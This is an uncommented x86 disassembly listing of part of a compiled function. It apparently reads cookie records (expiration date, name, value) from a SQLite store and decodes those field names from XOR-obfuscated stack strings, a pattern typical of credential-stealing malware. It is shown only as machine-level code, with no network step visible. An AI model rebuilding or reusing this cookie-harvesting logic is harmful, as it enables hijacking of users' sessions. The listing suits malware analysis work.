mov dword [eax + 8], edi
mov edi, dword [ebp - 0x134]
mov dword [ebp - 0x1e8], ecx
lea ecx, [ebp - 0x1f0]
mov dword [eax + 0xc], edi
mov dword [ebp - 0x1e4], edx
call fcn.009f2bb0
cmp byte [ebp - 0x19], 0
mov byte [ebp - 4], 0x1e
mov edi, dword [ebp - 0x20]
je 0x9c9847
mov ecx, dword [ebp - 0xdc]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x9c983d
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push esi
call fcn.00a6c232
add esp, 8
cmp byte [ebp - 0x1a], 0
mov byte [ebp - 4], 0x16
je 0x9c9883
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9c9879
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push edx
call fcn.00a6c232
add esp, 8
test edi, edi
je 0x9c98db
cmp dword [edi + 0x2c], 0
je 0x9c98b6
mov eax, 4
cmp ax, word [edi + 0x30]
jae 0x9c98b6
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c98ab
push eax
call dword [fcn.00ac2d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xa0
jmp 0x9c98e0
mov eax, dword [edi]
test eax, eax
je 0x9c98db
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c98cd
push eax
call dword [fcn.00ac2d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.00a1cc20
add esp, 0xc
mov ecx, 0xaad4d8
mov dl, 1
call fcn.00a2b140
mov dword [ebp - 0x18], eax
test edi, edi
je 0x9c9944
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x9c9924
cmp byte [esi + 0x1e], 0
jne 0x9c9907
mov edx, esi
cmp ecx, 0xc0a
jne 0x9c991f
push 0
push 7
push esi
call fcn.00a1cc20
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x9c992b
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x9c9941
push eax
call dword [fcn.00ac2d28]
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
call fcn.00a79b56
add esp, 4
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x214], edx
xorps xmm0, xmm0
mov byte [ebp - 0x150], 0
movq qword [ebp - 0x148], xmm0
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.00a05eb0
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0xab], 0x1800170b
mov dword [ebp - 0xa7], 0x1c001200
mov dword [ebp - 0xa3], 0x183c1919
mov dword [ebp - 0x9f], 0x1001e0e
nop dword [eax]
lea ecx, [eax + 0x6e]
xor byte [ebp + eax - 0xab], cl
inc eax
cmp eax, 0xe
jb 0x9c99b0
lea eax, [ebp - 0xab]
mov byte [ebp - 0x9c], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.009f9120
mov byte [ebp - 4], 0x16
mov edi, eax
mov cl, byte [ebp - 0x150]
mov eax, dword [ebp - 0x148]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x144]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x150], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x150]
mov dword [edi + 8], eax
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], esi
call fcn.009f2bb0
mov edi, dword [ebp - 0x20]
test edi, edi
je 0x9c9a79
cmp dword [edi + 0x2c], 0
je 0x9c9a54
mov eax, 5
cmp ax, word [edi + 0x30]
jae 0x9c9a54
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c9a49
push eax
call dword [fcn.00ac2d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xc8
jmp 0x9c9a7e
mov eax, dword [edi]
test eax, eax
je 0x9c9a79
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c9a6b
push eax
call dword [fcn.00ac2d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.00a1cc20
add esp, 0xc
mov ecx, 0xaad4d8
mov dl, 1
call fcn.00a2b140
mov dword [ebp - 0x14], eax
test edi, edi
je 0x9c9adf
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x9c9ac2
cmp byte [esi + 0x1e], 0
jne 0x9c9aa5
mov edx, esi
cmp ecx, 0xc0a
jne 0x9c9abd
push 0
push 7
push esi
call fcn.00a1cc20
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x9c9ac9
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x9c9adf
push eax
call dword [fcn.00ac2d28]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1a0], 3
push 0x18
movq qword [ebp - 0x198], xmm0
call fcn.00a6bfb1
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10a]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], esi
mov byte [ebp - 4], 0x22
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c9b35
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00992810
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x198], esi
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0x3a], 0x141d0e00
mov word [ebp - 0x36], 0x100
nop dword [eax + eax]
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x3a], al
inc ecx
cmp ecx, 4
jb 0x9c9b70
lea eax, [ebp - 0x3a]
mov byte [ebp - 0x35], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.009f9120
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x194]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1a0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x198], ecx
lea ecx, [ebp - 0x1a0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x194], edx
call fcn.009f2bb0
mov edi, dword [ebp - 0x20]
test edi, edi
je 0x9c9c29
cmp dword [edi + 0x2c], 0
je 0x9c9c04
mov eax, 6
cmp ax, word [edi + 0x30]
jae 0x9c9c04
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c9bf9
push eax
call dword [fcn.00ac2d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xf0
jmp 0x9c9c2e
mov eax, dword [edi]
test eax, eax
je 0x9c9c29
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c9c1b
push eax
call dword [fcn.00ac2d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.00a1cc20
add esp, 0xc
mov ecx, 0xaad4d8
mov dl, 1
call fcn.00a2b140
mov dword [ebp - 0x14], eax
test edi, edi
je 0x9c9c8f
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x9c9c72
cmp byte [esi + 0x1e], 0
jne 0x9c9c55
mov eax, esi
cmp ecx, 0xc0a
jne 0x9c9c6d
push 0
push 7
push esi
call fcn.00a1cc20
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x9c9c79
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x9c9c8f
push eax
call dword [fcn.00ac2d28]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1b0], 3
push 0x18
movq qword [ebp - 0x1a8], xmm0
call fcn.00a6bfb1
mov esi, eax
add esp, 4
lea eax, [ebp - 0x109]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x24
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x9c9ce0
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00992810
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x1a8], esi
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0x6f], 0x41c0e18
mov word [ebp - 0x6b], 0x17
mov byte [ebp - 0x69], 1
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 5
jb 0x9c9d17
lea eax, [ebp - 0x6f]
mov byte [ebp - 0x69], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.009f9120
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x1a4]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1b0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x1a8], ecx
lea ecx, [ebp - 0x1b0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1a4], edx
call fcn.009f2bb0
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0xc0]
call fcn.009f2810
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.009f2530
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x10
call fcn.009f2bb0
mov edi, dword [ebp - 0x20]
mov ecx, edi
call fcn.00a2e270
cmp eax, 0x64
je 0x9c8fb3
test edi, edi
je 0x9c9e2f
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x9c9dd1
push eax
call dword [fcn.00ac2d20]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x18], 0
cmp eax, 0xbdf20da3
je 0x9c9de9
cmp eax, 0x519c2973
jne 0x9c9df3
mov ecx, edi
call fcn.00a2d070
mov dword [ebp - 0x18], eax
mov ecx, edi
call fcn.00a2d280
test esi, esi
je 0x9c9e1e
cmp byte [esi + 0x1e], 0
jne 0x9c9e0d
cmp dword [ebp - 0x18], 0xc0a
jne 0x9c9e1e
push 0
push 7
push esi
call fcn.00a1cc20
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x9c9e2f
push eax
call dword [fcn.00ac2d28]
add esp, 4
mov ecx, dword [ebp - 0x118]
call fcn.009a43d0
mov dword [ebp - 0x88], 0x1a1f000d
xor ecx, ecx
mov dword [ebp - 0x84], 0x7161b
mov byte [ebp - 0x80], 1
mov al, cl
add al, 0x6e
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 7
jb 0x9c9e54
mov ecx, dword [ebp - 0x11c]
lea eax, [ebp - 0x88]
push eax
mov byte [ebp - 0x80], 0
call fcn.009f9120
lea ecx, [ebp - 0xc0]
push ecx
mov ecx, eax
call fcn.009f2530
lea ecx, [ebp - 0xc0]
call fcn.009f2bb0
mov esi, dword [ebp - 0x24]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x9c9ed5
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9c9ecb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push edx
call fcn.00a6c232
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
cmp ecx, 0x10
jb 0x9c9f2e
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9c9f24
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push edx
call fcn.00a6c232
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
cmp ecx, 0x10
jb 0x9c9f87
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9c9f7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push edx
call fcn.00a6c232
add esp, 8
mov edi, dword [ebp - 0x114]
push edi
nop
nop
nop
nop
nop
nop
inc edi
add edi, eax
mov dword [ebp - 0x114], edi
cmp byte [edi], 0
jne 0x9c88d0
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0x10
jb 0x9c9fe0
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9c9fd6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push edx
call fcn.00a6c232
add esp, 8
mov ecx, dword [ebp - 0x1f4]
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
cmp ecx, 0x10
jb 0x9ca031
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9ca027
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push edx
call fcn.00a6c232
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x9ca061
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x9ca057
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x9ca084
push ecx
push edx
call fcn.00a6c232
add esp, 8
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00992040
call fcn.00992040
call fcn.00a714d0
lea ecx, [ebp - 0xc0]
call fcn.009f6de0
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00992700
push eax
mov edx, 0xaafde8
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2f0]
call fcn.009f8f70
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2c0]
call fcn.00998920
add esp, 4
lea eax, [ebp - 0x2c0]
push 0xac0258
push eax
call fcn.00a6dc1b
int3